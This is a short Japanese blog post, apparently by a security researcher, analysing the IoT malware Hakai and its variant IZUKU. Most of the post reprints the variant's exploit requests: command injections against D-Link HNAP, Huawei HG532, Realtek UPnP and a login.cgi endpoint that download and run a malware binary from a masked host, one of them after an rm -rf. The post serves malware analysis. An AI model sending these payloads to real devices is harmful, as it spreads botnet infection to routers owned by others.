IoTマルウェア「Hakai」

www.intezer.com

最近流行っていると思われるIoTマルウェアの「Hakai」に関する記事。

Hakaiの他、「KENJIRO」と「IZUKU」なる亜種も存在するとの事で、「IZUKU」と思われるマルウェアを簡単に解析したところ、記事に記載のある通り、

脆弱性を悪用する攻撃コードが含まれていることを確認できました。

※実行されるコマンドはマルウェアをダウンロードして実行する、といった感染拡大を意図したもの

■攻撃コード例

GET /login.cgi?cli=aa aa';wget http://xxx.xxx.xxx.xxx/izuku.sh -O -> /tmp/hk;sh /tmp/hk'$ HTTP/1.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: /
User-Agent: Hakai/2.0

POST /HNAP1/ HTTP/1.0
Content-Type: text/xml; charset="utf-8"
SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://xxx.xxx.xxx.xxx/izuku.mips && chmod +x izuku.mips;./izuku.mips`
Content-Length: 640
 
<?xml version="1.0" encoding="utf-8"?>
  <soap:Body>
    <AddPortMapping xmlns="http://purenetworks.com/HNAP1/">
      <PortMappingDescription>foobar</PortMappingDescription>
      <InternalClient>192.168.0.100</InternalClient>
      <PortMappingProtocol>TCP</PortMappingProtocol>
      <ExternalPort>1234</ExternalPort>
      <InternalPort>1234</InternalPort>
    </AddPortMapping>
  </soap:Body>
</soap:Envelope> 

POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Content-Length: 430
Connection: keep-alive
Accept: */*
Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
 
<?xml version="1.0"?>
  <s:Body>
    <u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
      <NewStatusURL>$(/bin/busybox wget -g xxx.xxx.xxx.xxx -l /tmp/izuku.mips -r /izuku.mips; /bin/busybox chmod 777 /tmp/izuku.mips; /tmp/izuku.mips)</NewStatusURL>
      <NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>
   </u:Upgrade>
  </s:Body>
</s:Envelope>

POST /picsdesc.xml HTTP/1.1
Content-Length: 630
Accept-Encoding: gzip, deflate
SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
Accept: /
User-Agent: Hello-World
Connection: keep-alive
 
<?xml version="1.0"?>
  <s:Body>
    <u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
      <NewRemoteHost></NewRemoteHost>
      <NewExternalPort>47450</NewExternalPort>
      <NewProtocol>TCP</NewProtocol>
      <NewInternalPort>44382</NewInternalPort>
      <NewInternalClient>cd /var/; wget http://xxx.xxx.xxx.xxx/izuku.mips; chmod +x izuku.mips; ./izuku.mips</NewInternalClient>
      <NewEnabled>1</NewEnabled>
      <NewPortMappingDescription>syncthing</NewPortMappingDescription>
      <NewLeaseDuration>0</NewLeaseDuration>
    </u:AddPortMapping>
  </s:Body>
</s:Envelope> 

※攻撃コードは特に暗号化等されることなく、そのまま記載されていましたf:id:b1nary:20180905005130p:plain